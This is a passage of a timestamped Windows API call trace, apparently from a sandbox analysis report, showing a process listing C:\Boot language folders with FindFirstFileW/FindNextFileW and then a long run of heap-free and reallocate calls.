	[0041.665] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.665] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0041.666] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.666] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742bb0
	[0041.666] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.666] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0041.666] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0041.666] FindNextFileW (in: hFindFile=0x742bb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0041.666] FindClose (in: hFindFile=0x742bb0 | out: hFindFile=0x742bb0) returned 1
	[0041.666] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.666] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0041.666] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.666] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743170
	[0041.667] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.667] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0041.667] FindNextFileW (in: hFindFile=0x743170, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0041.667] FindClose (in: hFindFile=0x743170 | out: hFindFile=0x743170) returned 1
	[0041.668] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.668] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0041.668] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.668] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742fb0
	[0041.668] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.668] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0041.668] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0041.668] FindNextFileW (in: hFindFile=0x742fb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0041.668] FindClose (in: hFindFile=0x742fb0 | out: hFindFile=0x742fb0) returned 1
	[0041.668] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.668] FindNextFileW (in: hFindFile=0x742bf0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0041.668] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.668] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743070
	[0041.669] FindNextFileW (in: hFindFile=0x743070, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.670] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.670] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.673] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.673] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.673] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0042.145] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0042.146] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.146] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.146] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.146] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.146] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.146] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.146] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.146] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.147] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.147] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.147] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.147] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.147] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.147] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.147] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.148] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0042.148] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.148] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.148] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.148] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.148] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.148] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.148] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.148] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.149] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a6ec8, Size=0x4000) returned 0x6ae150
	[0042.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.149] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0042.158] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.158] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.378] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6ae150, Size=0x8000) returned 0x6ae150
	[0042.379] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.380] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42c2c58 | out: hHeap=0x650000) returned 1
	[0042.381] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0042.520] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0042.628] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0042.628] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0042.628] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0042.628] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0042.672] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0042.673] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.168] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.170] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.170] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.170] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.170] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.170] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.170] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.170] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.171] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.171] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.171] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.326] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.326] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.328] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.328] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.328] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.330] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.332] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0043.332] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.332] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.332] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.332] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.332] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.445] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.445] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.445] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.446] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.447] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.447] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.447] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.448] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.448] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.448] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.448] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.450] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.450] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.450] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.450] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.451] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.452] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.452] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.452] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.453] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.454] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.454] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.454] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0043.454] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0043.454] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0043.463] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0043.463] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0043.465] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0043.466] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0043.676] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0043.676] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0043.676] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0043.891] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0043.892] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0043.995] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0043.997] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0044.061] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0044.061] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0044.061] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0044.063] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0044.064] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0044.257] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0044.257] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0044.257] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0044.384] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0044.385] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0044.386] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0044.387] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0044.387] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
